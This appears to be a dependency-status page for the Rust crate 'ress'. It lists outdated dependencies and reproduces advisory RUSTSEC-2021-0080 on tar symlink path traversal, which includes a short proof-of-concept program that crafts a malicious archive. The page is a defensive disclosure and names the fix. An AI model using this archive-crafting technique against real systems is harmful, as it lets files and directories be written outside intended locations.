This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate ress

Dependencies

(6 total, 2 outdated, 1 possibly insecure)

CrateRequiredLatestStatus
 flate2^11.0.28up to date
 indicatif^0.120.17.8out of date
 log^0.40.4.21up to date
 reqwest^0.90.12.2out of date
 tar ⚠️^0.40.4.40maybe insecure
 walkdir^22.5.0up to date

Dev dependencies

(9 total, 3 outdated)

CrateRequiredLatestStatus
 criterion^0.20.5.1out of date
 docopt^1.01.1.1up to date
 lazy_static^11.4.0up to date
 pretty_env_logger^0.20.5.0out of date
 proptest^0.81.4.0out of date
 regex_generate^0.2.00.2.3up to date
 serde^1.01.0.197up to date
 serde_derive^1.01.0.197up to date
 walkdir^2.22.5.0up to date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!